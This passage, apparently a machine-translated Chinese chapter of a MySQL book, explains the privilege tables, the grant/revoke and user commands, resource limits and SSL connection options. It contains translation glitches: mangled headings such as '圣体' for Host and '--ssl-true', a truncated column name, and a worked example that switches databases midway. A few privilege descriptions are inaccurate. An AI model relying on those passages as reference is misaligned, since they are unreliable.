保护您的数据免受不必要的审查、修改或删除——无论是意外的还是其他的——应该始终是一个首要问题。然而,平衡安全性和便利性通常是一项艰巨的挑战。当您考虑任何给定环境中可能存在的大量访问场景时,这种平衡的微妙性就变得显而易见了。例如,如果用户需要修改权限,但不需要插入权限,该怎么办?如何对可能需要从多个不同 IP 地址访问数据库的用户进行身份验证?如果您希望向用户提供对某些表列的读取权限,而限制对其余列的访问权限,该怎么办?幸运的是,MySQL 开发人员已经考虑到了这些情况,将全功能的认证和授权功能集成到了服务器中。这通常被称为 MySQL 的特权系统,它依赖于一个名为mysql (this is the name even if you're using the MariaDB version)的特殊数据库,该数据库存在于所有 MySQL 服务器上。在这一节中,我将解释特权系统是如何工作的,提到这个数据库中的各种表在实现这个强大的安全特性中扮演的角色。在这个概述之后,我将更深入地研究这些表,正式介绍它们的角色、内容和结构。

特权系统如何工作

MySQL 的特权系统基于两个基本概念:

  • 认证 : 用户甚至可以连接到服务器吗?

  • 授权 : 被认证的用户是否拥有足够的特权来执行所需的查询?

因为没有成功的身份验证就不能进行授权,所以您可以将这个过程看作分两个阶段进行。

访问控制的两个阶段

一般的权限控制过程发生在两个不同的阶段:连接认证请求验证。这些阶段总共分为五个不同的步骤。

  1. MySQL 使用user表来决定应该接受还是拒绝传入的连接。这是通过将指定的主机和用户与包含在user表中的一行进行匹配来实现的。MySQL 还确定用户是否需要安全的连接,以及是否超过了该帐户每小时允许的最大连接数。步骤 1 的执行完成了权限控制过程的认证阶段。

  2. 步骤 2 启动权限控制流程的授权阶段。如果连接被接受,MySQL 会验证是否超过了该帐户每小时允许的最大查询或更新次数。接下来,检查在user表中授予的相应特权。如果这些特权中的任何一个被启用(设置为y,那么用户就能够以该特权所授予的能力对驻留在该服务器上的任何数据库进行操作。正确配置的 MySQL 服务器可能会禁用所有这些权限,这将导致步骤 3 的发生。

  3. 检查db表是为了确定用户是否有与任何特定数据库交互的特权。该表中启用的任何特权都适用于那些授权数据库中的所有表。如果没有启用任何权限,但是找到了匹配的用户和主机值,则该过程继续到步骤 5。如果找到匹配的用户,但没有相应的主机值,则该过程继续到步骤 4。

  4. 如果发现db表中的一行有匹配的用户,但主机值为空,那么就检查host表。如果在这个表中找到一个匹配的主机值,用户将被分配到那个数据库的特权,如在host表中所示,而不是在db表中。这是为了允许特定主机对特定数据库的访问。

  5. 最后,如果用户试图执行在userdbhost表中没有授权的命令,则tables_priv, columns_priv and proc_priv表将被检查,以确定用户是否能够在相关的表、列或过程上执行所需的命令。此外,还可以使用代理用户授予访问权限,使该用户与系统中的其他用户拥有相同的访问权限。

您可能已经从流程分解中了解到,系统检查权限的方式是从非常宽泛的权限开始,到非常具体的权限结束。让我们考虑一个具体的例子。

跟踪真实世界的连接请求

假设用户jason从由192.168.1.2标识的客户端主机连接并使用密码secret想要在category table中插入一个新行,该行在sakila数据库中找到。MySQL 首先确定jason@192.168.1.2是否被授权连接到数据库,如果是,则确定是否允许他执行insert请求。让我们考虑一下在执行这两种验证时,在幕后发生了什么。

  1. 用户jason@192.168.1.2需要安全连接吗?如果是,并且用户jason@192.168.1.2试图在没有所需安全证书的情况下连接,则拒绝该请求并结束认证过程。如果没有,请继续执行步骤 2。

  2. 确定用户jason@192.168.1.2是否已超过每小时连接的最大允许数量,如果是,则拒绝认证过程。MySQL 接下来会判断是否超过了最大同时连接数。如果两个条件都被认为是假的,则继续步骤 3。否则,拒绝请求。

  3. 用户jason@192.168.1.2是否拥有连接数据库服务器所需的权限?如果是,请继续执行步骤 4。如果没有,则拒绝访问。该步骤结束了特权控制机制的认证组件。

  4. 用户jason@192.168.1.2是否超过了允许更新或查询的最大数量?如果没有,请继续执行步骤 5。否则,拒绝请求。

  5. 用户jason@192.168.1.2是否拥有全局 insert权限?如果是,接受并执行插入请求。如果没有,请继续执行步骤 6。

  6. 用户jason@192.168.1.2是否拥有company数据库的insert权限?如果是,接受并执行插入请求。如果没有,请继续执行步骤 7。

  7. 用户jason@192.168.1.2是否拥有插入请求中指定的widgets表列的insert特权?如果是,接受并执行插入请求。如果否,则拒绝该请求并结束控制过程。

到目前为止,您应该开始理解 MySQL 的访问控制机制的一般性。然而,在你熟悉这个过程的技术基础之前,这幅图是不完整的,所以继续读下去

访问信息存储在哪里?

MySQL 的权限验证信息存储在默认安装的mysql数据库中。具体来说,该数据库中的七个表在身份验证和特权验证过程中起着重要的作用:

  • user:决定哪些用户可以从哪个主机登录数据库服务器。

  • db:决定哪些用户可以访问哪些数据库。

  • host:对db表的扩展,提供了额外的主机名,用户可以通过这些主机名连接到数据库服务器。

  • tables_priv:决定哪些用户可以访问特定数据库的特定表。

  • columns_priv:决定哪些用户可以访问特定表格的特定列。

  • procs_priv:控制存储过程的使用。

  • proxies _ priv:从 MySQL 5.5.7 开始可用,这个表管理代理用户的特权。这个话题超出了本书的范围,不会再进一步讨论。

本节深入研究了与每个权限表的目的和结构相关的细节。

用户表

从这个意义上来说,user表是唯一一个在特权请求程序的两个阶段都起作用的特权表。在认证阶段,user表单独负责授权用户访问 MySQL 服务器。它还确定用户是否超过了每小时允许的最大连接数(如果已配置),以及用户是否超过了最大同时连接数(如果已配置)。有关在每个用户的基础上控制资源使用的更多信息,请参见“限制用户资源”一节。在这个阶段,user表还决定是否需要基于 SSL 的授权;如果是,则user表检查必要的凭证。有关该特性的更多信息,请参见“保护 MySQL 连接”一节。

在请求授权阶段,user表确定是否有任何被授权访问服务器的用户被分配了使用 MySQL 服务器的全局特权(这在大多数情况下是不应该发生的)。也就是说,该表中启用的任何权限都允许用户以某种身份使用位于该 MySQL 服务器上的所有数据库。在这个阶段,use r 表还确定用户是否超过了每小时允许的最大查询和更新次数。

user表拥有另一个定义性特征:它是唯一一个存储与 MySQL 服务器管理相关的特权的表。例如,该表负责确定允许哪些用户执行与服务器常规功能相关的命令,如关闭服务器、重新加载用户权限、查看甚至终止现有的客户端进程。因此,user表在 MySQL 操作的许多方面都起着重要的作用。

由于其广泛的职责,user是权限表中最大的,总共包含 42 个字段或列。在这一节中,我将介绍各种权限配置情况下最常用的字段。

圣体

Host列指定了主机名,该主机名决定了用户可以连接的主机地址。地址可以存储为主机名、IP 地址或通配符。通配符可以由%_字符组成。此外,网络掩码可用于表示 IP 子网。以下是几个示例条目:

  • www.example.com

  • 192.168.1.2

  • %

  • %. example.com

  • 192.168.1.0/255.255.255.0

  • localhost

用户

User列指定能够连接到数据库服务器的用户的区分大小写的名称。尽管不允许使用通配符,但空值是允许的。如果条目为空,则允许来自相应主机条目的任何用户登录到数据库服务器。条目示例如下:

  • jason

  • Jason_Gilmore

  • secretary5

密码

Password列存储连接用户提供的加密密码。尽管不允许使用通配符,但空白密码是允许的。因此,请确保所有用户帐户都附有相应的密码,以减轻潜在的安全问题。密码以单向哈希格式存储,这意味着它们不能转换回纯文本格式。

用户识别

MySQL 不仅通过提供的用户名来标识用户,还通过提供的用户名和原始主机名的组合来标识用户:例如,jason@localhostjason@192.168.1.12完全不同。此外,请记住,MySQL 将始终应用与所提供的user@host组合相匹配的最特定的权限集。虽然这似乎是显而易见的,但有时会发生不可预见的后果。例如,经常会有多行匹配请求的用户/主机标识;即使满足所提供的user@host组合的通配符条目出现在与身份完全匹配的后续条目之前,也将使用与该完全匹配相对应的特权,而不是通配符匹配。因此,要始终注意确保确实为每个用户提供了预期的权限。在本章的后面,您将看到如何查看每个用户的权限。

权限列

接下来列出的 29 列包括用户权限列。请记住,当在用户表的上下文中讨论时,这些代表用户的全局权限。

  • Select_priv:决定用户是否可以选择数据。

  • Insert_priv:决定用户是否可以插入数据。

  • Update_priv:决定用户是否可以修改已有数据。

  • Delete_priv:决定用户是否可以删除已有数据。

  • Create_priv:决定用户是否可以创建新的数据库和表格。

  • Drop_priv:决定用户是否可以删除已有的数据库和表格。

  • Reload_priv:决定用户是否可以执行专门针对 MySQL 使用的各种内部缓存的刷新和重载的各种命令,包括日志、权限、主机、查询、表。

  • Shutdown_priv:决定用户是否可以关闭 MySQL 服务器。您应该非常小心,不要将此权限提供给除 root 帐户之外的任何人。

  • Process_priv:决定用户是否可以通过show processlist命令查看其他用户的进程。

  • File_priv:决定用户是否可以执行select into outfileload data infile命令。

  • Grant_priv:决定用户是否可以将自己已经拥有的权限授予其他用户。例如,如果用户可以插入、选择和删除位于foo数据库中的信息,并且被授予了grant权限,那么该用户可以将这些权限中的任何或所有权限授予位于系统中的任何其他用户。

  • References_priv:目前只是某个未来函数的占位符;这在这个时候没有用。

  • Index_priv:决定用户是否可以创建和删除表格索引。

  • er_priv:决定用户是否可以重命名和改变表结构。

  • Show_db_priv:确定用户是否可以查看驻留在服务器上的所有数据库的名称,包括用户拥有足够访问权限的数据库。除非有特别令人信服的理由,否则请考虑对所有用户禁用此功能。

  • Super_priv:决定用户是否可以执行某些强大的管理功能,例如通过kill命令删除用户进程,使用set global改变全局 MySQL 变量,以及执行与复制和日志记录相关的各种命令。

  • Create_tmp_table_priv:决定用户是否可以创建临时表。

  • Lock_tables_priv:决定用户是否可以使用lock tables命令阻止表格访问/修改。

  • Execute_priv:决定用户是否可以执行存储过程。

  • Repl_slave_priv:确定用户是否可以读取用于维护复制数据库环境的二进制日志文件。

  • Repl_client_priv:决定用户是否可以确定任何复制从设备和主设备的位置。

  • Create_view_priv:决定用户是否可以创建视图。

  • Show_view_priv:决定用户是否可以看到一个视图或了解更多关于它如何执行的信息。

  • Create_routine_priv:决定用户是否可以创建存储过程和函数。

  • Alter_routine_priv:决定用户是否可以改变或删除存储过程和函数。

  • Create_user_priv:决定用户是否可以执行create user语句,该语句用于创建新的 MySQL 账户。

  • Event_priv:决定用户是否可以创建、修改、删除事件。

  • Trigger_priv:决定用户是否可以创建和删除触发器。

  • Create_tablespace_priv:确定用户是否可以创建新表。

数据库表

db表用于在每个数据库的基础上为用户分配权限。检查请求用户是否不拥有他试图执行的任务的全局特权。如果匹配的用户/主机/数据库三元组位于db表中,并且请求的任务已经被授予该行,那么请求被执行。如果不满足User / Host / Db任务匹配,则发生两个事件之一:

  • 如果找到了一个User / Db匹配,但是主机是空白的,那么 MySQL 会向host表寻求帮助。下一节将介绍host表的用途和结构。

  • 如果找到了User / Host / Db三元组,但是特权被禁用,MySQL 接下来会向tables_priv表寻求帮助。在后面的章节中将介绍tables_priv表的用途和结构。

%_字符表示的通配符可以在HostDb列中使用,但不能在User列中使用。像user表一样,对行进行排序,以便最具体的匹配优先于不太具体的匹配。一定要切换到 MySQL 数据库,花点时间回顾一下有什么可用的。

主机表

只有当db牌桌的Host字段留空时,host牌桌才会起作用。如果一个特定的用户需要从不同的主机访问,您可以将db表的Host字段留空。不是为该用户复制和维护几个User / Host / Db实例,而是只添加一个实例(带有空白的Host字段),相应的主机地址存储在host表的Host字段中。

%_字符表示的通配符可以在HostDb列中使用,但不能在User列中使用。像user表一样,对行进行排序,以便最具体的匹配优先于不太具体的匹配。与到目前为止介绍的表一样,许多列的用途通过阅读它们的名称就很明显了,所以一定要切换到 MySQL 数据库,花点时间回顾一下有哪些可用的内容。

tables_priv 表

tables_priv表旨在存储特定于表的用户特权。只有当userdbhost表不满足用户的任务请求时,它才会起作用。为了更好地说明它的用法,请考虑一个例子。假设来自主机192.168.1.12的用户jason想要对位于数据库sakila中的表category执行一个update。一旦发起请求,MySQL 就开始检查user表,查看jason@192.168.1.12是否拥有全局update特权。如果不是这种情况,接下来检查dbhost表,以获得特定于数据库的修改权限。如果这些表不满足请求,MySQL 就会查看tables_priv表来验证用户jason@192.168.1.12是否拥有在sakila数据库中找到的表category的更新特权。与到目前为止介绍的表一样,许多列的用途通过阅读它们的名称就很明显了,所以一定要切换到 MySQL 数据库,花点时间回顾一下有哪些可用的内容。

tables_priv表中找到的所有列都应该是熟悉的,除了以下几列:

  • Table_name:决定将在tables_priv表中设置的特定于表的权限应用到哪个表。

  • Grantor:指定授予用户权限的用户的用户名。

  • Timestamp:指定授予用户权限的确切日期和时间。

  • Table_priv:决定用户可以使用哪些表范围的权限。可以以此身份申请以下权限:selectinsertupdatedeletecreatedropgrantreferencesindexaltercreate viewshow viewtrigger

  • Column_priv:存储分配给该用户的由Table_name列引用的表的任何列级特权的名称。这样做的目的是没有记录的,尽管有人会怀疑这样做是为了提高总体性能。

columns_priv 表

columns_priv表负责设置特定于列的特权。只有当userdb / hosttables_priv表不能确定请求用户是否有足够的权限来执行所请求的任务时,它才会起作用。与到目前为止介绍的表一样,这个表的许多列的用途通过阅读它们的名称就很明显了,所以一定要切换到 MySQL 数据库,花点时间回顾一下有哪些可用的内容。该表中的所有其他列都应该是熟悉的,除了Column_name,它指定了受GRANT命令影响的表列的名称。

procs_priv 表

procs_priv表管理存储过程和函数的使用。列Routine_name标识分配给用户的例程的名称,Routine_type标识例程的类型(函数或过程),Grantor标识授予使用该例程的权限的用户,Proc_priv定义被授权者可以对该例程做什么(执行、更改或授权)。

用户和权限管理

位于mysql数据库中的表与任何其他关系表没有什么不同,因为它们的结构和数据可以使用典型的 SQL 命令来修改。然而,在这些表中管理的数据是使用两个方便的命令来管理的:命令grantrevoke。使用这些命令,可以创建和禁用用户,并且可以使用更加直观和简单的语法授予和撤销他们的访问权限。它们精确的语法消除了潜在的可怕错误,否则这些错误可能会由于畸形的 SQL 查询而引入(例如,忘记在update查询中包含where子句)。

由于使用这些命令来创建和有效地删除用户的能力可能看起来有点不直观,因为这些命令的名称意味着授予现有用户权限和撤销现有用户权限的想法,所以在 5.0.2 版本中,MySQL 的管理库中增加了两个新命令:create userdrop user。这个版本还增加了第三个命令,rename user (,用于重命名现有用户。

创建用户

create user命令用于创建新的用户账户。在创建时没有分配权限,这意味着您接下来需要使用grant命令来分配权限。该命令如下所示:

CREATE USER user [IDENTIFIED BY [PASSWORD] 'password']
 [, user [IDENTIFIED BY [PASSWORD] 'password']] ...

下面是一个例子:

mysql> create user 'jason'@'localhost' identified by 'secret';
Query OK, 0 rows affected (0.47 sec)

正如您在命令原型中看到的,还可以同时创建多个用户。这是通过提供带有相关密码的逗号分隔的用户列表来实现的。

删除用户

如果不再需要某个帐户,您应该考虑删除它,以确保它不能用于潜在的非法活动。这可以通过drop user命令轻松完成,该命令从特权表中删除用户的所有痕迹。命令语法如下所示:

DROP USER user [, user]...

下面是一个例子:

mysql> drop user 'jason'@'localhost';
Query OK, 0 rows affected (0.03 sec)

正如您在命令原型中看到的,还可以同时删除多个用户。

重命名用户

有时,您可能希望重命名现有用户。这很容易用RENAME USER命令来完成。其语法如下:

RENAME USER old_user TO new_user,
 [old_user TO new_user]...

下面是一个例子:

mysql> rename user 'jason'@'localhost' to 'jasongilmore'@'localhost';
Query OK, 0 rows affected (0.02 sec)

正如命令原型所示,还可以同时重命名多个用户。

授权和撤销命令

grantrevoke命令用于管理访问权限。这些命令提供了对谁可以处理服务器及其内容的几乎所有方面的大量细粒度控制,从谁可以关闭服务器到谁可以修改特定表列中的信息。表 26-1 列出了使用这些命令可以授予或撤销的所有可能的特权。

小费

虽然不赞成使用标准 SQL 语法修改mysql表,但是您可以这样做。请记住,对这些表所做的任何更改都必须使用flush-privileges命令。因为这是一种过时的管理用户权限的方法,所以没有提供关于这个问题的更多细节。更多信息请参见 MySQL 文档。

表 26-1

由 Grant 和 Revoke 管理的常用权限

|

特权

|

描述

|
| --- | --- |
| ALL PRIVILEGES | 影响除with grant option以外的所有权限 |
| ALTER | 影响alter table命令的使用 |
| ALTER ROUTINE | 影响改变和删除存储例程的能力 |
| CREATE | 影响create table命令的使用 |
| CREATE ROUTINE | 影响创建存储例程的能力 |
| CREATE TEMPORARY TABLES | 影响create temporary table命令的使用 |
| CREATE USER | 影响创建、删除、重命名和撤销用户权限的能力 |
| CREATE VIEW | 影响create view命令的使用 |
| DELETE | 影响delete命令的使用 |
| DROP | 影响drop table命令的使用 |
| EXECUTE | 影响用户运行存储过程的能力 |
| EVENT | 影响执行事件的能力 |
| FILE | 影响select into outfileload data infile的使用 |
| GRANT OPTION | 影响用户委派权限的能力 |
| INDEX | 影响create indexdrop index命令的使用 |
| INSERT | 影响insert命令的使用 |
| LOCK TABLES | 影响lock tables命令的使用 |
| PROCESS | 影响show processlist命令的使用 |
| REFERENCES | 未来 MySQL 特性的占位符 |
| RELOAD | 影响flush命令集的使用 |
| REPLICATION CLIENT | 影响用户查询从设备和主设备位置的能力 |
| REPLICATION SLAVE | 复制从属所需的权限 |
| SELECT | 影响select命令的使用 |
| SHOW DATABASES | 影响show databases命令的使用 |
| SHOW VIEW | 影响show create view命令的使用 |
| SHUTDOWN | 影响shutdown命令的使用 |
| SUPER | 影响管理员级命令的使用,如change masterkillSET GLOBAL |
| TRIGGER | 影响执行触发器的能力 |
| UPDATE | 影响update命令的使用 |
| USAGE | 仅连接,不授予权限 |

在本节中,将详细介绍grantrevoke命令,随后是演示其用法的大量示例。

授予特权

当您需要为一个用户或一组用户分配新的权限时,您可以使用grant命令。这种权限分配可能小到只授予用户连接到数据库服务器的能力,也可能大到为几个同事提供 root MySQL 访问权限(当然不推荐,但也是可能的)。命令语法如下:

GRANT privilege_type [(column_list)] [, privilege_type [(column_list)] ...]
    ON {table_name | * | *.* | database_name.*}
    TO user_name [IDENTIFIED BY 'password']
        [, user_name [IDENTIFIED BY 'password'] ...]
    [REQUIRE {SSL|X509} [ISSUER issuer] [SUBJECT subject]]
    [WITH GRANT OPTION]

乍一看,grant语法可能看起来令人生畏,但实际上它使用起来非常简单。以下部分提供了一些示例,以帮助您更好地熟悉该命令。

注意

一旦执行了GRANT命令,该命令中授予的任何特权立即生效。

创建新用户并分配初始权限

第一个示例创建一个新用户,并为该用户分配一些特定于数据库的权限。用户ellie希望使用密码secret从 IP 地址 192.168.1.103 连接到数据库服务器。下面为她提供了在sakila数据库中找到的所有表的access, select, and insert特权:

mysql> grant select, insert on sakila.* to 'ellie'@'192.168.1.103'
    ->identified by 'secret';

在执行时,将修改两个特权表,即userdb表。因为user表负责访问验证和全局特权,所以必须插入一个新行来标识这个用户。但是,该行中的所有权限都将被禁用。为什么呢?因为grant命令只针对sakila数据库。除了启用Select_privInsert_priv列之外,db表将包含与将用户ellie映射到sakila数据库相关的用户信息。

向现有用户添加权限

现在假设用户ellie需要对驻留在sakila数据库中的所有表拥有update特权。这也是通过grant完成的:

mysql> grant update ON sakila.* TO 'ellie'@'192.168.1.103';

一旦执行,在db表中标识用户ellie@192.168.1.103的行被修改,使得Update_priv列被启用。请注意,在向现有用户添加权限时,不需要重新输入密码。

授予表级权限

现在假设除了前面定义的特权之外,用户ellie@192.168.1.103还需要位于sakila数据库中的两个表的delete特权,即categorylanguage表。您可以限制特权,使该用户仅有权从这两个特定的表中删除数据,而不是授予该用户从该数据库的任何表中删除数据的全权。因为涉及两个表,所以需要两个grant命令:

mysql> grant delete on sakila.category to 'ellie'@'192.168.1.103';
Query OK, 0 rows affected (0.07 sec)
mysql> grant delete on sakila.language to 'ellie'@'192.168.1.103';
Query OK, 0 rows affected (0.01 sec)

因为这是一个特定于表的特权设置,所以只有tables_priv表会被触及。一旦执行,两个新行将被添加到tables_priv表中。这假设不存在预先存在的将类别和语言表映射到ellie@192.168.1.103的行。如果是这种情况,那些预先存在的行将被相应地修改,以反映新的特定于表的特权。

授予多个表级权限

前一个示例的变体是为用户提供多个权限,这些权限只限于给定的表。假设新用户will,从位于wjgilmore.com域内的多个地址连接,负责更新作者信息,因此只需要film表的select , insert , and update权限:

mysql> grant select, insert, delete on
    ->sakila.film TO will@'%.wjgilmore.com'
    ->identified by 'secret';

执行这个grant语句会在mysql数据库中产生两个新条目:在user表中的一个新行条目(同样,只是为will@%. wjgilmore.com提供访问权限),以及在tables_priv表中的一个新条目,指定将应用于film表的新访问权限。请记住,因为特权只适用于单个表,所以只有一行被添加到tables_priv表中,其中Table_priv列被设置为Select, Insert, Delete

授予列级权限

最后,考虑一个只影响表的列级特权的例子。假设您想授予用户威尔@192.168.1.105sakila.film.title上的update权限:

mysql> grant update (title) on sakila.film TO 'will'@'192.168.1.105';

撤销特权

revoke命令负责从用户或用户组中删除先前授予的权限。语法如下:

REVOKE privilege_type [(column_list)] [, privilege_type [(column_list)] ...]
    ON {table_name | * | *.* | database_name.*}
    FROM user_name [, user_name ...]

grant一样,理解该命令用法的最佳方式是通过一些例子。以下示例演示了如何撤销现有用户的权限,甚至删除现有用户。

撤销以前分配的权限

有时,您需要删除特定用户的一个或多个先前分配的权限。例如,假设您想要删除用户will@192.168.1.102对数据库 sakila:

mysql> revoke insert on sakila.* FROM 'will'@'192.168.1.102';

撤销表级权限

现在假设您想要删除用户will@192.168.1.102先前分配给位于数据库sakila中的表filmupdateinsert特权:

mysql> revoke insert, update on sakila.film FROM 'will'@'192.168.1.102';

注意,这个例子假设您已经向用户will@192.168.1.102授予了表级权限。revoke命令不会降级一个数据库级的grant(位于db表中的一个),移除条目并在tables_priv表中插入一个条目。相反,在这种情况下,它只是从tables_priv表中删除对这些特权的引用。如果在tables_priv表中只引用了这两个特权,那么整行都会被删除。

撤销列级权限

作为最后一个撤销的例子,假设您之前已经授予用户will@192.168.1.102对位于sakila.film的列name的列级delete权限,现在您想要删除该权限:

mysql> revoke insert (title) ON sakila.film FROM 'will'@'192.168.1.102';

在所有这些使用revoke的例子中,如果在revoke命令中没有显式引用特权,用户will可能仍然能够在给定的数据库中行使一些特权。如果您想确保用户放弃所有权限,您可以撤销所有权限,如下所示:

mysql> revoke all privileges on sakila.* FROM 'will'@'192.168.1.102';

但是,如果您的目的是从mysql数据库中删除用户,请务必阅读下一节。

删除用户

关于revoke的一个常见问题是它如何删除用户。这个问题的简单答案是,根本不会。例如,假设您使用以下命令撤销特定用户的所有权限:

mysql> revoke all privileges ON sakila.* FROM 'will'@'192.168.1.102';

虽然这个命令确实删除了驻留在db表中与will@192.168.1.102sakila数据库的关系相关的行,但是它没有从user表中删除该用户的条目,大概是为了以后可以恢复该用户而不必重置密码。如果您确定将来不再需要这个用户,您需要使用delete命令手动删除该行。

授予和撤销小费

以下列表提供了在使用grantrevoke时需要记住的各种提示:

  • 您可以为尚不存在的数据库授予权限。

  • 如果由grant命令识别的用户不存在,它将被创建。

  • 如果您创建的用户不包含identified by子句,则登录时不需要密码。

  • 如果现有用户被授予新的权限,并且grant命令带有一个identified by子句,用户的旧密码将被新密码替换。

  • 表级权限仅支持以下权限类型:altercreatecreate viewdeletedropgrantindexinsertreferencesselectshow viewtriggerupdate

  • 列级授权只支持以下特权类型:insertreferencesselectupdate

  • grant命令中引用数据库名和主机名时,支持_%通配符。因为_字符在 MySQL 数据库名称中也是有效的,所以如果在grant中需要的话,您需要用反斜杠对其进行转义。

  • 要创建和删除用户,请务必使用create userdrop user命令。

  • 您不能引用*.*来删除用户对所有数据库的权限。相反,每个都必须由单独的revoke命令显式引用。

查看权限

虽然您可以通过从权限表中选择适当的数据来检查用户的权限,但是随着权限表的增大,这种策略会变得越来越不实用。幸运的是,MySQL 提供了一种更方便的方法(实际上是两种)来检查用户特定的权限。这两者都将在本节中进行研究。

显示授予

show grants for命令显示授予特定用户的权限。举个例子,

mysql> show grants for 'ellie'@'192.168.1.102';

这将生成一个表,其中包含用户的授权信息(包括加密的密码)以及在全局、数据库、表和列级别授予的权限。

如果您想查看当前登录用户的权限,您可以使用current_user()功能,如下所示:

mysql> show grants for CURRENT_USER();

grantrevoke命令一样,在使用show grants命令时,您必须参考用户名和发起主机,以便唯一地识别目标用户。

限制用户资源

监控资源使用总是一个好主意,但是当你在一个托管环境中提供 MySQL 时,比如一个 ISP,这一点尤其重要。如果您关心这样的问题,您会很高兴地了解到可以在每个用户的基础上限制 MySQL 资源的消耗。这些限制与其他权限一样,通过权限表进行管理。总共存在四个与资源使用相关的特权,它们都位于user表中:

  • max_connections:决定用户每小时可以连接数据库的最大次数。

  • max_questions:决定用户每小时可以执行的最大查询数(使用select命令)。

  • max_updates:决定用户每小时可以执行的最大更新次数(使用insertupdate and delete命令)。

  • max_user_connections:确定给定用户可以保持的最大同时连接数。

考虑几个例子。第一个限制用户ellie@%. wjgilmore.com每小时的连接数为 3600,即平均每秒一个:

mysql> grant insert, select, update on books.* to
    ->'ellie'@'%.wjgilmore.com' identified by 'secret'
    ->with max_connections_per_hour 3600;

下一个示例将用户ellie@'%. wjgilmore.com每小时可以执行的更新总数限制为 10,000:

mysql> grant insert, select, update on books.* to 'ellie'@'%.wjgilmore.com'
    ->identified by 'secret' with max_updates_per_hour 10000;

安全的 MySQL 连接

客户机和 MySQL 服务器之间的数据流与任何其他典型的网络流量没有什么不同;它可能会被恶意的第三方截获甚至修改。有时这并不是一个真正的问题,因为数据库服务器和客户机通常位于同一个内部网络上,并且对于许多人来说,位于同一台机器上。但是,如果您的项目需求导致通过不安全的通道传输数据,那么您现在可以选择使用 MySQL 的内置安全特性,通过 SSL 和 X509 加密标准来加密该连接。

您可以通过登录到 MySQL 服务器并执行以下命令来验证 MySQL 是否准备好处理安全连接

mysql> show variables like 'have_openssl'

完成这些先决条件后,您需要创建或购买服务器证书和客户端证书。完成这两项任务的过程超出了本书的范围。你可以在互联网上获得关于这些过程的信息。随着像 https://letsencrypt.org 这样的免费服务的出现,获取 SSL 证书变得越来越容易。

常见问题

当用户开始研究 MySQL 的安全连接特性时,出现了几个反复出现的问题。

我使用 MySQL 作为我的 web 应用的后端,我使用 HTTPS 来加密进出网站的流量。我还需要加密到 MySQL 服务器的连接吗?

这取决于数据库服务器是否与 web 服务器位于同一台计算机上。如果是这种情况,那么只有当您认为您的机器本身不安全时,加密才有可能是有益的。如果数据库服务器驻留在单独的服务器上,那么数据可能会不安全地从 web 服务器传输到数据库服务器,因此需要加密。关于加密的使用没有固定的规则。只有在仔细权衡安全性和性能因素后,您才能得出结论。

我如何知道流量确实被加密了?

确保 MySQL 流量加密的最简单方法是创建一个需要 SSL 的用户帐户,然后通过提供该用户的凭据和有效的 SSL 证书,尝试连接到启用了 SSL 的 MySQL 服务器。如果出现问题,您会收到“拒绝访问”错误。

加密的 MySQL 流量在哪个端口上流动?

无论您是以加密还是不加密的方式进行通信,端口号都保持不变(3306)。

授予期权

有许多授权选项可以决定用户的 SSL 要求。本节将介绍这些选项。

需要 SSL

require ssl grant 选项强制用户通过 SSL 连接。任何以不安全方式连接的尝试都将导致“拒绝访问”错误。下面是一个例子:

mysql> grant insert, select, update on sakila.* TO 'will'@'192.168.1.12'
     ->identified by 'secret' require ssl;

需要 X509

require x509 grant 选项强制用户提供有效的认证机构(CA)证书。如果您想用 CA 证书验证证书签名,这将是必需的。请注意,该选项不会导致 MySQL 考虑来源、主题或发布者。下面是一个例子:

mysql> grant insert, select, update on sakila.* to 'will'@'192.168.1.12'
     ->identified by 'secret' require ssl require x509;

注意,这个选项也没有指定哪些 ca 是有效的,哪些是无效的。任何验证证书的 CA 都被认为是有效的。如果您想限制哪些 ca 被认为是有效的,请参阅下一个授权选项。

要求发行人

require issuer grant 选项强制用户提供由有效的 CA 发行者发行的有效证书。此外,还必须包括其他一些信息,包括原产国、原产州、原产城市、证书所有者的姓名和证书联系人。下面是一个例子:

mysql> grant insert, select, update on sakila.* TO 'will'@'192.168.1.12'
   ->identified by 'secret' require ssl require issuer 'C=US, ST=Ohio,
   ->L=Columbus, O=WJGILMORE,
   ->OU=ADMIN, CN=db.wjgilmore.com/Email=admin@wjgilmore.com'

要求主题

require subject授权选项强制用户提供一个有效的证书,包括一个有效的证书“主题”下面是一个例子:

mysql> grant insert, select, update on sakila.* TO 'will'@'192.168.1.12'
    ->identified by 'secret' require ssl require subject
    ->'C=US, ST=Ohio, L=Columbus, O=WJGILMORE, OU=ADMIN,
    ->CN=db.wjgilmore.com/Email=admin@wjgilmore.com'

需要密码

require cipher grant 选项通过强制用户使用特定密码进行连接来强制使用最新的加密算法。目前可用的选项包括 EDH、RSA、DES、CBC3 和 SHA。下面是一个例子:

mysql>grant insert, select, update on sakila.* TO 'will'@'192.168.1.12'
      ->identified by 'secret' require ssl require cipher 'DES-RSA';

SSL 选项

服务器和连接客户端都使用本节介绍的选项来确定是否应该使用 SSL,如果应该使用,则确定证书和密钥文件的位置。

- ssl

--ssl选项表示 MySQL 服务器应该允许 SSL 连接。与客户端结合使用时,它表示将使用 SSL 连接。请注意,包含此选项并不确保也不要求使用 SSL 连接。事实上,测试表明,启动 SSL 连接甚至不需要选项本身。相反,这里介绍的附带标志决定了 SSL 连接是否成功启动。

--类似 ssl

  • ssl-ca选项指定包含可信 SSL 证书颁发机构列表的文件的位置和名称。举个例子,
--ssl-ca=/home/jason/openssl/cacert.pem

--ssl-capath

  • ssl-capath选项指定存储隐私增强邮件(PEM)格式的可信 SSL 证书的目录路径。

--ssl-true

  • ssl-cert选项指定用于建立安全连接的 SSL 证书的位置和名称。例如,
--ssl-cert=/home/jason/openssl/mysql-cert.pem

- ssl 密码

--ssl-cipher选项指定允许哪些加密算法。密码列表语法与以下命令使用的语法相同:

%>openssl ciphers

例如,要仅允许 TripleDES 和 Blowfish 加密算法,该选项设置如下:

--ssl-cipher=des3:bf

- ssl 密钥

  • ssl-key选项指定用于建立安全连接的 SSL 密钥的位置和名称。例如,
--ssl-key=/home/jason/openssl/mysql-key.pem

在接下来的三节中,您将学习如何在命令行和my.cnf文件中使用这些选项。

启动支持 SSL 的 MySQL 服务器

一旦有了服务器和客户机证书,就可以像这样启动支持 SSL 的 MySQL 服务器:

%>./bin/mysqld_safe --user=mysql --ssl-ca=$SSL/cacert.pem \
 >--ssl-cert=$SSL/server-cert.pem --ssl-key=$SSL/server-key.pem &

$SSL指指向 SSL 证书存储位置的路径。

使用支持 SSL 的客户端进行连接

然后,您可以使用以下命令连接到启用了 SSL 的 MySQL 服务器:

%>mysql --ssl-ca=$SSL/cacert.pem --ssl-cert=$SSL/client-cert.pem \
